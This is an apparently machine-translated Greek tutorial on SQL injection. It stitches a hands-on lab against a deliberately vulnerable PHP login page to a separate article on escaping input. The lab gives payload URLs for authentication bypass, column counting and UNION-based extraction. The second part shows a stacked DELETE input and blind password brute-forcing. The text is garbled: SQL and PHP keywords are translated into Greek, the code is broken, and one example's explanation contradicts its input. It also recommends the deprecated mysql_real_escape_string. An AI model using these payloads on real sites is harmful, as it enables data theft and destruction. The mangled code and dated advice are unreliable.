query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "όνομα"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ($obj = $result->fetch_object()) ( echo "

Το όνομα σου:$obj->όνομα

Η κατάσταση σου:$obj->status

Βιβλία διαθέσιμα για εσάς:$obj->βιβλία


"; ) ) else ( printf("Σφάλμα: %sn", $mysqli->error); ) $mysqli->close(); ?>

Θα καταλάβεις πολύ περισσότερα αν κάνεις τα πάντα μαζί μου. Ορίστε λοιπόν. Περιέχει δύο αρχεία: index.phpΚαι db_library.sql. Τοποθετήστε το αρχείο index.php οπουδήποτε στον διακομιστή - αυτό είναι το ευάλωτο σενάριό μας. Και το αρχείο db_library.sql πρέπει να εισαχθεί, για παράδειγμα, χρησιμοποιώντας το phpMyAdmin.

Στο αρχείο index.php, το όνομα χρήστη της βάσης δεδομένων έχει οριστεί ως root και ο κωδικός πρόσβασης είναι κενός. Μπορείτε να εισαγάγετε τα δεδομένα σας επεξεργάζοντας τη γραμμή:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Σύμφωνα με το μύθο, αυτή είναι μια φόρμα σύνδεσης στην ηλεκτρονική έκδοση της περιφερειακής βιβλιοθήκης Bobruisk. Μας έχουν ήδη δοθεί τα διαπιστευτήρια: όνομα χρήστη - Επίδειξη, κωδικός πρόσβασης - 111.

Ας τα εισάγουμε και ας δούμε:

Τα διαπιστευτήριά μας έγιναν δεκτά, το όνομά μας, η κατάστασή μας και τα βιβλία που έχουμε στη διάθεσή μας εμφανίζονται στις οθόνες. Μπορείτε να δοκιμάσετε, με οποιαδήποτε άλλα δεδομένα (αν αλλάξετε το όνομα ή τον κωδικό πρόσβασής σας), δεν θα μπορέσουμε να συνδεθούμε και να προβάλουμε τα βιβλία που είναι διαθέσιμα για ανάγνωση. Επίσης, δεν έχουμε τρόπο να γνωρίζουμε ποια βιβλία είναι διαθέσιμα σε άλλους, επειδή δεν γνωρίζουμε το όνομα χρήστη και τον κωδικό πρόσβασής τους.

Ας δούμε τον πηγαίο κώδικα για να κατανοήσουμε πώς προέκυψε το αίτημα της βάσης δεδομένων:
Λέξη ΕΠΙΛΕΓΩσε ένα ερώτημα SQL δείχνει ποια δεδομένα πρέπει να ανακτηθούν. Για παράδειγμα, μπορείτε να καθορίσετε όνομα SELECT ή όνομα SELECT, κωδικό πρόσβασης. Στη συνέχεια, στην πρώτη περίπτωση θα ληφθεί μόνο το όνομα από τον πίνακα και στη δεύτερη - μόνο το όνομα και ο κωδικός πρόσβασης. Ο αστερίσκος λέει ότι πρέπει να λάβετε όλες τις τιμές. Εκείνοι. ΕΠΙΛΟΓΗ * - αυτό σημαίνει ότι λαμβάνετε όλες τις τιμές.

ΑΠΟλέει από πού πρέπει να τα προμηθευτείτε. Το FROM ακολουθείται από το όνομα του πίνακα, δηλαδή η καταχώριση FROM «μέλη» λέει λήψη από τον πίνακα «μέλη».

Περαιτέρω ΟΠΟΥ, εάν έχετε μελετήσει οποιαδήποτε γλώσσα προγραμματισμού, τότε αυτή η λέξη μοιάζει περισσότερο με το «Αν». Και τότε υπάρχουν προϋποθέσεις, αυτές οι συνθήκες μπορεί να είναι αληθείς (1) ή ψευδείς (0). Στην περίπτωσή μας

(όνομα = '$name') ΚΑΙ (κωδικός πρόσβασης ='$password')

σημαίνει ότι η συνθήκη θα είναι αληθής εάν η μεταβλητή $name είναι ίση με την τιμή του πεδίου ονόματος στον πίνακα και η μεταβλητή '$password' είναι ίση με την τιμή του πεδίου κωδικού πρόσβασης στον πίνακα. Εάν δεν πληρούται τουλάχιστον μία προϋπόθεση (λανθασμένο όνομα χρήστη ή κωδικός πρόσβασης), τότε δεν θα ληφθεί τίποτα από τον πίνακα, δηλαδή η έκφραση SELECT * FROM `members` WHERE name = '$name' AND password ='$password' σημαίνει : σε στον πίνακα «μέλη», λάβετε τις τιμές όλων των πεδίων εάν πληρούνται οι προϋποθέσεις για αυτά - το όνομα χρήστη και ο κωδικός πρόσβασης που έχουν περάσει ταιριάζουν με αυτά που βρίσκονται στον πίνακα.

Είναι σαφές. Ας εισαγάγουμε τώρα, για παράδειγμα, ένα μόνο απόσπασμα με το όνομα χρήστη:

Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

Δεν ελήφθησαν δεδομένα, αντίθετα βλέπουμε ένα σφάλμα:
Όταν πληκτρολογήσαμε τα σωστά δεδομένα, το αίτημά μας έμοιαζε ως εξής:
Προσθέτοντας μια προσφορά, το ερώτημά μας γίνεται:
Βάζω επιπλέον χώρους για σαφήνεια, δηλ. παίρνουμε το αίτημα
Παρεμπιπτόντως, το αίτημα είναι σωστό συντακτικά. Και αμέσως μετά, χωρίς διαχωριστικά, το αίτημα συνεχίζεται:

"AND password="111"

Αυτό είναι που τα σπάει όλα, αφού ο αριθμός των εισαγωγικών ανοίγματος και κλεισίματος δεν είναι ίσος. Μπορείτε, για παράδειγμα, να εισαγάγετε ένα άλλο απόσπασμα:
Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Το σφάλμα εξαφανίστηκε, αλλά αυτό δεν πρόσθεσε κανένα νόημα στο αίτημα. Η ανούσια ουρά του αιτήματος μας ενοχλεί. Πώς μπορούμε να απαλλαγούμε από αυτό;

Υπάρχει μια απάντηση - αυτά είναι σχόλια.

Τα σχόλια στη MySQL μπορούν να καθοριστούν με τρεις τρόπους:

  1. # (hash - λειτουργεί μέχρι το τέλος της γραμμής)
  2. - (δύο παύλες - εργαστείτε μέχρι το τέλος της γραμμής, χρειάζεστε έναν χαρακτήρα διαστήματος μετά από δύο παύλες)
  3. /* αυτό είναι ένα σχόλιο */ μια ομάδα τεσσάρων χαρακτήρων - τα πάντα μέσα είναι ένα σχόλιο, όλα πριν ή μετά από αυτήν την ομάδα χαρακτήρων δεν θεωρούνται σχόλιο.
Ας βάλουμε ένα σχόλιο στο ερώτημά μας με ένα παράθεμα, μετά από αυτό το απόσπασμα βάζουμε ένα σύμβολο σχολίου για να απορρίψουμε την ουρά και ένα σύμβολο +, που υποδηλώνει ένα κενό, έτσι ώστε το ερώτημα να βγει ως εξής:
Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'-+&password=111

Όχι μόνο εξαφανίστηκε το σφάλμα, αλλά εμφανίστηκαν τα σωστά δεδομένα για τον χρήστη επίδειξης. Από τώρα το αίτημά μας έχει λάβει τη μορφή
άλλωστε η αλογοουρά -+ 'AND password ='111'μετατράπηκε σε σχόλιο και δεν επηρεάζει πλέον το αίτημα.

Ρίξτε μια άλλη ματιά στο νέο αίτημα:
Και δεν ελέγχει πλέον τον κωδικό πρόσβασης! Εκείνοι. Γνωρίζοντας τα ονόματα των νόμιμων χρηστών, αλλά μη γνωρίζοντας τους κωδικούς πρόσβασής τους, μπορούμε να προβάλουμε τα προσωπικά τους δεδομένα. Εκείνοι. Έχουμε ήδη ξεκινήσει την εκμετάλλευση του SQL injection.

Δυστυχώς, δεν γνωρίζω κανένα νόμιμο όνομα και πρέπει να βρω κάτι άλλο.

Ας ρίξουμε μια πιο προσεκτική ματιά σε αυτό το μέρος του αιτήματος:
Θυμάστε το ΚΑΙ που χρησιμοποιείται στο πρώτο ερώτημα; Αντιπροσωπεύει λογική ΚΑΙ λειτουργία. Επιτρέψτε μου να σας υπενθυμίσω ότι η λογική πράξη "AND" παράγει "true" (1) μόνο εάν και οι δύο εκφράσεις είναι αληθείς. Αλλά ο λογικός τελεστής "OR" παράγει "true" (1) ακόμα κι αν τουλάχιστον μία από τις εκφράσεις είναι αληθής. Εκείνοι. έκφραση
θα είναι πάντα true θα επιστρέφει πάντα 1. Επειδή μία από τις δύο παραστάσεις που συγκρίνονται θα επιστρέφει πάντα 1.

Εκείνοι. πρέπει να δημιουργήσουμε μια έκφραση που μοιάζει με αυτό:
Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo' Ή 1 -+ &password=111

Αποτέλεσμα:

Το αποτέλεσμα είναι εξαιρετικό! Λάβαμε μια λίστα με όλες τις εγγραφές στον πίνακα.

Οι ORDER BY και UNION είναι οι κύριοι φίλοι των SQL injections

Έχουμε ήδη λάβει δεδομένα που δεν ήταν προσβάσιμα σε όσους δεν είχαν έγκυρο όνομα χρήστη και κωδικό πρόσβασης. Υπάρχει κάτι άλλο που μπορώ να πάρω; Ναι, μπορείτε να λάβετε μια πλήρη ένδειξη αυτού του πίνακα (να σας υπενθυμίσω, δεν έχουμε ακόμα κωδικούς πρόσβασης. Επιπλέον, μπορούμε να λάβουμε όλα τα δεδομένα από όλες τις βάσεις δεδομένων σε αυτόν τον διακομιστή μέσω μιας μικροσκοπικής τρύπας!

ΕΝΩΣΗσας επιτρέπει να συνδυάσετε ερωτήματα SQL. Στην πραγματική ζωή, οι εργασίες μου είναι απλές, και επομένως απλές ερωτήσεις σε βάσεις δεδομένων και δυνατότητες ΕΝΩΣΗΔεν το χρησιμοποιώ. Αλλά για τις ενέσεις SQL δεν υπάρχει πιο πολύτιμη λέξη από αυτή.

ΕΝΩΣΗσας επιτρέπει να συνδυάζετε αρκετά ευέλικτα ερωτήματα SQL με SELECT, μεταξύ άλλων από διαφορετικές βάσεις δεδομένων. Αλλά υπάρχει μια σημαντική απαίτηση σύνταξης: ο αριθμός των στηλών στο πρώτο SELECT πρέπει να είναι ίσος με τον αριθμό των στηλών στο δεύτερο SELECT.

ΤΑΞΙΝΟΜΗΣΗ ΚΑΤΑορίζει την ταξινόμηση των δεδομένων που λαμβάνονται από τον πίνακα. Μπορείτε να ταξινομήσετε με βάση το όνομα της στήλης ή τον αριθμό της. Επιπλέον, εάν δεν υπάρχει στήλη με αυτόν τον αριθμό, τότε θα εμφανιστεί ένα σφάλμα:

Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Το αίτημα μοιάζει με αυτό:
Αντικαταστήσαμε το όνομα χρήστη με -1 για να μην εμφανίζονται δεδομένα.

Δεν υπάρχει σφάλμα, δεν υπάρχει επίσης σφάλμα με αιτήματα
Και εδώ είναι το αίτημα
αντιστοιχεί στη γραμμή διευθύνσεων

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Έλαβα ένα σφάλμα

Αυτό σημαίνει ότι τα δεδομένα επιλέγονται από τον πίνακα σε πέντε στήλες.

Κατασκευάζουμε το ερώτημά μας με το UNION:

Όπως είπα, ο αριθμός των πεδίων θα πρέπει να είναι ίδιος και στα δύο SELECT, αλλά το τι υπάρχει σε αυτά τα πεδία δεν είναι πολύ σημαντικό. Μπορείτε, για παράδειγμα, απλώς να εισάγετε αριθμούς - και αυτοί είναι αυτοί που θα εμφανιστούν. Μπορείτε να εισαγάγετε NULL - τότε δεν θα εμφανιστεί τίποτα αντί για το πεδίο.
Γραμμή διεύθυνσης:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Ένας άλλος τρόπος για να βρείτε τον αριθμό των στηλών είναι να χρησιμοποιήσετε το ίδιο UNION. Χρησιμοποιώντας μια σκάλα προσθέτουμε τον αριθμό των στηλών:
Όλα θα παράγουν το ίδιο σφάλμα:

Κάντε αυτό μέχρι να εξαφανιστεί το μήνυμα σφάλματος.

Λάβετε υπόψη ότι τα περιεχόμενα ορισμένων πεδίων UNION SELECT 1,2,3,4,5 εμφανίζονται στην οθόνη. Αντί για αριθμούς, μπορείτε να καθορίσετε συναρτήσεις.

Τι να γράψετε στο SELECT

Υπάρχουν ορισμένες συναρτήσεις που μπορούν να γραφτούν απευθείας στο UNION:

  • ΒΑΣΗ ΔΕΔΟΜΕΝΩΝ()- εμφάνιση του ονόματος της τρέχουσας βάσης δεδομένων
  • ΤΡΕΧΩΝ ΧΡΗΣΤΗΣ()- εμφανίζει όνομα χρήστη και όνομα κεντρικού υπολογιστή
  • @@datadir- εμφανίζει την απόλυτη διαδρομή προς τη βάση δεδομένων
  • ΧΡΗΣΤΗΣ()- Όνομα χρήστη
  • ΕΚΔΟΧΗ()- έκδοση βάσης δεδομένων
Στο παράδειγμά μας, εμφανίζονται τα πεδία 2, 4 και 5. Π.χ. μπορούμε να χρησιμοποιήσουμε οποιοδήποτε από αυτά τα πεδία.

Χρησιμοποιώντας τη ΒΑΣΗ ΔΕΔΟΜΕΝΩΝ() στο UNION SELECT

Διεύθυνση:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Αποτέλεσμα:

Λήψη ονομάτων πινάκων, πεδίων και αποτύπωσης βάσεων δεδομένων

Στη βάση δεδομένων information_schemaυπάρχει ένας πίνακας που ονομάζεται τραπέζια. Αυτός ο πίνακας περιέχει μια λίστα με όλους τους πίνακες που υπάρχουν σε όλες τις βάσεις δεδομένων σε αυτόν τον διακομιστή. Μπορούμε να επιλέξουμε τους πίνακες μας κάνοντας αναζήτηση στο πεδίο table_schemaΤο όνομα της βάσης δεδομένων μας είναι «db_library» (το βρήκαμε χρησιμοποιώντας το DATABASE()).

Αυτό ονομάζεται πλήρης τεχνική UNION. Υπάρχει άφθονο υλικό για αυτό στο Διαδίκτυο. Στον διακομιστή μου MySQL, η τεχνική full UNION δεν λειτουργεί. Λαμβάνω ένα σφάλμα
Δεν λειτουργεί λόγω της καμπυλότητας των βραχιόνων, επειδή αυτή η τεχνική δεν φέρνει επίσης αποτελέσματα για το sqlmap:

Κάτι πήγε στραβά με την τεχνική full UNION (μπορεί να οφείλεται στον περιορισμό στον ανακτηθέντα αριθμό καταχωρίσεων). Επιστροφή στην τεχνική μερικής ΕΝΩΣΗΣ

Αυτό μπορεί να οφείλεται στην έκδοση 5.6 της MySQL. Επειδή Δεν μπορώ να δώσω πρακτικά παραδείγματα και δεν με ενδιαφέρει να ξαναγράψω τις σπασμένες εντολές των άλλων - τώρα, ακόμα και χωρίς εμένα, υπάρχουν όσοι «μεγάλοι θεωρητικοί» θέλετε στο Διαδίκτυο, οπότε αποφάσισα να προχωρήσω αμέσως στο λαμβάνοντας υπόψη την τεχνική μερικής ΕΝΩΣΗΣ. Αλλά αυτή δεν είναι η απλούστερη τεχνική και το άρθρο είναι ήδη αρκετά μεγάλο.

Στο επόμενο μέρος του άρθρου θα μελετήσουμε την τεχνική μερικής UNION, με τη βοήθειά της θα λάβουμε όλα τα δεδομένα στον διακομιστή: τα ονόματα των βάσεων δεδομένων, τα ονόματα των πινάκων και των πεδίων τους σε αυτούς τους πίνακες, καθώς και τα περιεχόμενά τους . Ενώ περιμένετε να εμφανιστεί το δεύτερο μέρος, εξασκηθείτε, διαβάστε για τις ενέσεις SQL και την τεχνική UNION· τα ακόλουθα άρθρα προτείνονται επίσης για ανάγνωση:

ΥΣΤΕΡΟΓΡΑΦΟ. ω ναι, ξέχασα το LIMIT. Την επόμενη φορά θα μιλήσω επίσης για τον ρόλο του LIMIT στις ενέσεις SQL.

Οι ενέσεις SQL - η ενσωμάτωση κακόβουλου κώδικα σε ερωτήματα βάσης δεδομένων - είναι ο πιο επικίνδυνος τύπος επίθεσης. Χρησιμοποιώντας ενέσεις SQL, ένας εισβολέας μπορεί όχι μόνο να λάβει ιδιωτικές πληροφορίες από τη βάση δεδομένων, αλλά επίσης, υπό ορισμένες προϋποθέσεις, να κάνει αλλαγές εκεί.

Η ευπάθεια SQL injection παρουσιάζεται επειδή οι πληροφορίες χρήστη περιλαμβάνονται σε ένα ερώτημα βάσης δεδομένων χωρίς σωστή επεξεργασία: για να διασφαλιστεί ότι το σενάριο δεν είναι ευάλωτο, είναι απαραίτητο να διασφαλιστεί ότι όλα τα δεδομένα χρήστη καταλήγουν σε όλα τα ερωτήματα της βάσης δεδομένων σε μορφή διαφυγής. Η απαίτηση της καθολικότητας είναι ο ακρογωνιαίος λίθος: μια παραβίαση που διαπράττεται σε ένα σενάριο καθιστά ολόκληρο το σύστημα ευάλωτο.

Παράδειγμα ευπάθειας

Ας υποθέσουμε ότι υπάρχει ένα σενάριο που εμφανίζει μια λίστα χρηστών από μια δεδομένη πόλη, λαμβάνοντας το αναγνωριστικό πόλης ως παράμετρο GET. Η πρόσβαση στο σενάριο θα γίνει μέσω HTTP στη διεύθυνση /users.php?cityid=20

Στο παραπάνω σενάριο, ο προγραμματιστής εισάγει μια παράμετρο GET στο ερώτημα SQL, υπονοώντας ότι η παράμετρος GET θα περιέχει πάντα έναν αριθμό. Ένας εισβολέας θα μπορούσε να περάσει μια συμβολοσειρά ως παράμετρο και έτσι να καταστρέψει το αίτημα. Για παράδειγμα, θα έχει πρόσβαση στο σενάριο ως /users.php?cityid=20; ΔΙΑΓΡΑΦΗ * ΑΠΟ χρήστες
Το ερώτημα SQL θα μοιάζει με αυτό:

Το αίτημα θα εκτελεστεί και το σενάριο θα επιστρέψει όχι μόνο χρήστες από την καθορισμένη πόλη, αλλά και μια λίστα με όλους τους χρήστες των οποίων ο κωδικός πρόσβασης θα εμφανίζεται αντί για το πραγματικό τους όνομα.

Πώς να προστατεύσετε τον εαυτό σας;

Ας περικλείσουμε τις πληροφορίες χρήστη σε μονά εισαγωγικά. Θα βοηθήσει αυτό;

Από το παραπάνω παράδειγμα, μπορείτε να δείτε ότι το να περικλείετε μεμονωμένα εισαγωγικά δεν αρκεί. Πρέπει επίσης να αποφύγετε τυχόν εισαγωγικά που περιέχονται στη συμβολοσειρά. Για να γίνει αυτό, η PHP παρέχει τη συνάρτηση mysql_real_escape_string(), η οποία προσθέτει μια ανάστροφη κάθετο πριν από κάθε εισαγωγικό, backquote και ορισμένους άλλους ειδικούς χαρακτήρες. Ας δούμε τον κώδικα:

Έτσι, για προστασία από ενέσεις SQL, όλες οι εξωτερικές παράμετροι που μπορεί να περιέχουν κείμενο πρέπει να υποβάλλονται σε επεξεργασία χρησιμοποιώντας mysql_real_escape_string() και περικλείονται σε μονά εισαγωγικά.

Εάν γνωρίζετε ότι μια παράμετρος πρέπει να έχει αριθμητική τιμή, μπορεί να μετατραπεί σε αριθμητική μορφή χρησιμοποιώντας ρητά τη συνάρτηση intval()ή floatval(). Σε αυτό το παράδειγμα θα μπορούσαμε να χρησιμοποιήσουμε:

$sql = "ΕΠΙΛΟΓΗ ονόματος χρήστη, πραγματικό όνομα
ΑΠΟ χρήστες
WHERE cityid=""
.ενδιάμεσο ( $_GET ["cityid" ] ) .""" ;

Διαφορές μεταξύ mysql_real_escape_string() και mysql_escape_string()

Η mysql_real_escape_string() είναι μια βελτιωμένη έκδοση της συνάρτησης mysql_escape_string(), η οποία χρησιμοποιείται ευρέως για τη δημιουργία ασφαλών ερωτημάτων στη βάση δεδομένων MySQL. Η διαφορά μεταξύ αυτών των δύο συναρτήσεων είναι ότι η mysql_real_escape_string() λειτουργεί σωστά με κωδικοποιήσεις πολλών byte.

Ας υποθέσουμε ότι υπάρχει ένας χαρακτήρας στα δεδομένα που υποβάλλονται σε επεξεργασία (ας πούμε, στο UTF-8), ο κωδικός του οποίου αποτελείται από δύο byte - δεκαεξαδικό 27 και 2Β (δεκαδικός 39 και 43, αντίστοιχα). Η mysql_escape_string() αντιμετωπίζει κάθε byte δεδομένων που της μεταβιβάζονται ως ξεχωριστό χαρακτήρα (ακριβέστερα, ως κωδικό ενός ξεχωριστού χαρακτήρα) και αποφασίζει ότι η ακολουθία των byte 27 και 2B είναι δύο διαφορετικοί χαρακτήρες: ένα μόνο εισαγωγικό (") και ένα συν (+). Επειδή η συνάρτηση δέχεται ένα εισαγωγικό ως ειδικό χαρακτήρα, μια κάθετο (\) θα προστεθεί πριν από το byte με κωδικό 27, που είναι στην πραγματικότητα μέρος κάποιου αβλαβούς χαρακτήρα. Ως αποτέλεσμα, τα δεδομένα θα σταλούν στο τη βάση δεδομένων σε παραμορφωμένη μορφή.

Αξίζει να σημειωθεί ότι η mysql_real_escape_string() λειτουργεί σωστά σε όλες τις περιπτώσεις και μπορεί να αντικαταστήσει πλήρως τη mysql_escape_string().

Η mysql_real_escape_string() είναι διαθέσιμη στην PHP από την έκδοση 4.3.0.

Πρόσθετα παραδείγματα

Εξετάσαμε το απλούστερο παράδειγμα, αλλά στην πράξη ένα ευάλωτο ερώτημα μπορεί να είναι πιο περίπλοκο και να μην εμφανίζει τα αποτελέσματά του στον χρήστη. Στη συνέχεια, θα εξετάσουμε παραδείγματα ενέσεων SQL σε ορισμένες πιο περίπλοκες περιπτώσεις, χωρίς να ισχυριζόμαστε την πληρότητα.

Έγχυση σε πολύπλοκα ερωτήματα

Στο απλούστερο παράδειγμα, ήταν δυνατή η ενσωμάτωση κώδικα στο τέλος του ερωτήματος SQL. Στην πράξη, στο τέλος ενός ερωτήματος SQL μπορεί να υπάρχουν πρόσθετες συνθήκες, τελεστές ταξινόμησης, ομαδοποιήσεις και άλλες κατασκευές SQL. Σε κάθε συγκεκριμένη περίπτωση, ο εισβολέας θα προσπαθήσει να ενσωματώσει ένα κακόβουλο κομμάτι με τέτοιο τρόπο ώστε το αίτημα στο σύνολό του να παραμένει συντακτικά σωστό, αλλά να εκτελεί μια διαφορετική λειτουργία. Εδώ θα δούμε το απλούστερο παράδειγμα ενός ευάλωτου αιτήματος με μια πρόσθετη προϋπόθεση.

Ως αποτέλεσμα, η συνθήκη ηλικίας<35 δεν θα επηρεάσει το δείγμα, γιατί Ο τελεστής OR έχει χαμηλότερη προτεραιότητα από τον τελεστή AND και ο τελεστής WHERE από το παραπάνω ερώτημα μπορεί να γραφτεί διαφορετικά ως ΠΟΥ (cityid="20" ΚΑΙ 1 ) Ή ("1" ΚΑΙ ηλικία<"35" ) (θυμηθείτε ότι η έκφραση WHERE 1 είναι πάντα αληθινή). Ως αποτέλεσμα, τόσο αυτές οι γραμμές με cityid="20" όσο και αυτές με ηλικία θα ταιριάζουν στην κατάσταση<35, причем наличие последних не обязательно.

Για πολύπλοκα ερωτήματα, οι επιτυχημένες εγχύσεις SQL απαιτούν κάποια δημιουργικότητα, αλλά οι εισβολείς αναμένεται να έχουν κάποια δημιουργικότητα.

Τα αποτελέσματα ερωτημάτων δεν εμφανίζονται στον χρήστη

Μπορεί ένα ερώτημα του οποίου τα αποτελέσματα δεν εμφανίζονται στον χρήστη να είναι ευάλωτο. Αυτό θα μπορούσε να είναι, για παράδειγμα, ένα βοηθητικό ερώτημα:

$sql = "ΕΠΙΛΟΓΗ μέτρησης(*)
ΑΠΟ χρήστες
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Το παραπάνω ερώτημα απλώς ελέγχει για την παρουσία ενός χρήστη με ένα δεδομένο userid: εάν επιστρέψει κάποια μη μηδενική τιμή, εμφανίζεται το προφίλ χρήστη με το αντίστοιχο userid, αλλά εάν επιστραφεί 0 (δηλαδή, δεν υπάρχουν χρήστες που να ικανοποιούν το κριτήρια αιτήματος), εμφανίζεται το μήνυμα "ο χρήστης δεν βρέθηκε".

Σε αυτήν την περίπτωση, ο κωδικός πρόσβασης (ή άλλες πληροφορίες) καθορίζεται με ωμή βία. Ο εισβολέας μεταβιβάζει τη συμβολοσειρά ως παράμετρο userid 2" ΚΑΙ κωδικός όπως "a%. Τελικό αίτημα:

SELECT count (*) FROM users WHERE userid="2" ΚΑΙ κωδικός όπως "a%"

Ο εισβολέας θα λάβει "ο χρήστης δεν βρέθηκε" εάν ο κωδικός πρόσβασης δεν ξεκινά με το γράμμα "a" ή την τυπική σελίδα προφίλ χρήστη, διαφορετικά. Το πρώτο γράμμα του κωδικού πρόσβασης καθορίζεται με ωμή βία, μετά το δεύτερο κ.λπ.

συμπεράσματα

  • Όλα τα ερωτήματα που χρησιμοποιούν εξωτερικά δεδομένα πρέπει να προστατεύονται από ενέσεις SQL. Τα εξωτερικά δεδομένα μπορούν να μεταδοθούν όχι μόνο ως παράμετροι GET, αλλά και χρησιμοποιώντας τη μέθοδο POST, που λαμβάνονται από ένα COOKIE, από ιστότοπους τρίτων ή από μια βάση δεδομένων στην οποία ο χρήστης είχε την ευκαιρία να εισαγάγει πληροφορίες.
  • Όλες οι αριθμητικές παράμετροι θα πρέπει να μετατραπούν ρητά σε αριθμητική μορφή χρησιμοποιώντας συναρτήσεις intval()Και floatval()
  • Όλες οι παράμετροι συμβολοσειράς πρέπει να διαφεύγουν mysql_real_escape_string()και το βάζουμε σε εισαγωγικά.
  • Εάν η κατασκευή μιας ένεσης SQL είναι δύσκολη, δεν πρέπει να περιμένετε ότι ο εισβολέας δεν θα καταλάβει πώς να το κάνει. Αυτό ισχύει ιδιαίτερα για μηχανές των οποίων ο πηγαίος κώδικας είναι δημόσιος.

Καλή τύχη δημιουργία ασφαλών εφαρμογών!